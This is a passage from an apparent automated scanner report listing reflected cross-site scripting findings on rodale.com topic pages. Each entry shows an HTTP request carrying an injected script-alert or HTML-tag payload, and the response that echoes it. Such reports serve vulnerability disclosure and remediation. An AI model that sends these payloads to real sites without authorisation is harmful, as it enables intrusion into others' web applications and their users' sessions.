The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload deff6"><script>alert(1)</script>7bb8d2b426c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/vegetarian-diet?deff6"><script>alert(1)</script>7bb8d2b426c=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:40 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:43 GMT
Date: Thu, 10 Mar 2011 17:19:43 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32965

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/vegetarian-diet?deff6"><script>alert(1)</script>7bb8d2b426c=1" title="Register" class="moreLink">
...[SNIP]...

2.902. http://www.rodale.com/topic/vitamins-minerals-and-supplements [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/vitamins-minerals-and-supplements

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 356d3"><a>1f47f081a58 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic356d3"><a>1f47f081a58/vitamins-minerals-and-supplements HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:37 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:41 GMT
Date: Thu, 10 Mar 2011 17:19:41 GMT
Content-Length: 22570
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic356d3"><a>1f47f081a58 topic356d3">
...[SNIP]...

2.903. http://www.rodale.com/topic/vitamins-minerals-and-supplements [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/vitamins-minerals-and-supplements

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1739f"><a>e0f5ea46b6e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/vitamins-minerals-and-supplements1739f"><a>e0f5ea46b6e HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:12 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:13 GMT
Date: Thu, 10 Mar 2011 17:20:13 GMT
Content-Length: 22549
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-vitamins-minerals-and-supplements1739f"><a>e0f5ea46b6e node node-958">
...[SNIP]...

2.904. http://www.rodale.com/topic/vitamins-minerals-and-supplements [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/vitamins-minerals-and-supplements

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b7ad9"><script>alert(1)</script>251d5f6adb5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/vitamins-minerals-and-supplements?b7ad9"><script>alert(1)</script>251d5f6adb5=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:34 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:36 GMT
Date: Thu, 10 Mar 2011 17:19:36 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 34472

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/vitamins-minerals-and-supplements?b7ad9"><script>alert(1)</script>251d5f6adb5=1" title="Register" class="moreLink">
...[SNIP]...

2.905. http://www.rodale.com/topic/volunteering [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/volunteering

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 663d0"><a>f328014a5df was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic663d0"><a>f328014a5df/volunteering HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:39 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:40 GMT
Date: Thu, 10 Mar 2011 17:19:40 GMT
Content-Length: 22507
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic663d0"><a>f328014a5df topic663d0">
...[SNIP]...

2.906. http://www.rodale.com/topic/volunteering [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/volunteering

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a0629"><a>ee15e853ed8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/volunteeringa0629"><a>ee15e853ed8 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:15 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:16 GMT
Date: Thu, 10 Mar 2011 17:20:16 GMT
Content-Length: 22486
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-volunteeringa0629"><a>ee15e853ed8 node node-958">
...[SNIP]...

2.907. http://www.rodale.com/topic/volunteering [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/volunteering

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e123e"><script>alert(1)</script>dfdbb0e55f3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/volunteering?e123e"><script>alert(1)</script>dfdbb0e55f3=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:36 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:38 GMT
Date: Thu, 10 Mar 2011 17:19:38 GMT
Content-Length: 30161
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/volunteering?e123e"><script>alert(1)</script>dfdbb0e55f3=1" title="Register" class="moreLink">
...[SNIP]...

2.908. http://www.rodale.com/topic/walking-and-hiking [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/walking-and-hiking

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 39c07"><a>a0307c1db74 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic39c07"><a>a0307c1db74/walking-and-hiking HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:45 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:47 GMT
Date: Thu, 10 Mar 2011 17:19:47 GMT
Content-Length: 22525
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic39c07"><a>a0307c1db74 topic39c07">
...[SNIP]...

2.909. http://www.rodale.com/topic/walking-and-hiking [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/walking-and-hiking

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 79eb9"><a>eb5a8c15907 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/walking-and-hiking79eb9"><a>eb5a8c15907 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:18 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:21 GMT
Date: Thu, 10 Mar 2011 17:20:21 GMT
Content-Length: 22504
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-walking-and-hiking79eb9"><a>eb5a8c15907 node node-958">
...[SNIP]...

2.910. http://www.rodale.com/topic/walking-and-hiking [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/walking-and-hiking

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b660b"><script>alert(1)</script>89367acb2aa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/walking-and-hiking?b660b"><script>alert(1)</script>89367acb2aa=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:43 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:45 GMT
Date: Thu, 10 Mar 2011 17:19:45 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32777

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/walking-and-hiking?b660b"><script>alert(1)</script>89367acb2aa=1" title="Register" class="moreLink">
...[SNIP]...

2.911. http://www.rodale.com/topic/water-conservation [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/water-conservation

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 594e0"><a>6e3288395c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic594e0"><a>6e3288395c/water-conservation HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:42 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:49:45 GMT
Date: Thu, 10 Mar 2011 17:19:46 GMT
Content-Length: 22521
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic594e0"><a>6e3288395c topic594e0">
...[SNIP]...

2.912. http://www.rodale.com/topic/water-conservation [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/water-conservation

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d0a64"><a>6444227f91a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/water-conservationd0a64"><a>6444227f91a HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:15 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:50:18 GMT
Date: Thu, 10 Mar 2011 17:20:19 GMT
Content-Length: 22504
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-water-conservationd0a64"><a>6444227f91a node node-958">
...[SNIP]...

2.913. http://www.rodale.com/topic/water-conservation [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/water-conservation

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a91aa"><script>alert(1)</script>0a1b4abef1b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/water-conservation?a91aa"><script>alert(1)</script>0a1b4abef1b=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:40 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:49:41 GMT
Date: Thu, 10 Mar 2011 17:19:42 GMT
Content-Length: 32715
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/water-conservation?a91aa"><script>alert(1)</script>0a1b4abef1b=1" title="Register" class="moreLink">
...[SNIP]...

2.914. http://www.rodale.com/topic/water-pollution-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/water-pollution-0

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e17be"><a>d5571a53f69 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topice17be"><a>d5571a53f69/water-pollution-0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:48 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:50 GMT
Date: Thu, 10 Mar 2011 17:19:50 GMT
Content-Length: 22522
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topice17be"><a>d5571a53f69 topice17be">
...[SNIP]...

2.915. http://www.rodale.com/topic/water-pollution-0 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/water-pollution-0

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8ae2d"><a>dc8a0a810d2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/water-pollution-08ae2d"><a>dc8a0a810d2 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:20 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:21 GMT
Date: Thu, 10 Mar 2011 17:20:21 GMT
Content-Length: 22501
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-water-pollution-08ae2d"><a>dc8a0a810d2 node node-958">
...[SNIP]...

2.916. http://www.rodale.com/topic/water-pollution-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/water-pollution-0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2cbb8"><script>alert(1)</script>01fb0978460 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/water-pollution-0?2cbb8"><script>alert(1)</script>01fb0978460=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:45 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:47 GMT
Date: Thu, 10 Mar 2011 17:19:47 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33106

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/water-pollution-0?2cbb8"><script>alert(1)</script>01fb0978460=1" title="Register" class="moreLink">
...[SNIP]...

2.917. http://www.rodale.com/topic/weight-loss [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/weight-loss

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8d83d"><a>04bc3324751 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic8d83d"><a>04bc3324751/weight-loss HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:46 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:49:48 GMT
Date: Thu, 10 Mar 2011 17:19:49 GMT
Content-Length: 22504
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic8d83d"><a>04bc3324751 topic8d83d">
...[SNIP]...

2.918. http://www.rodale.com/topic/weight-loss [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/weight-loss

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4d804"><a>baba34ab458 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/weight-loss4d804"><a>baba34ab458 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
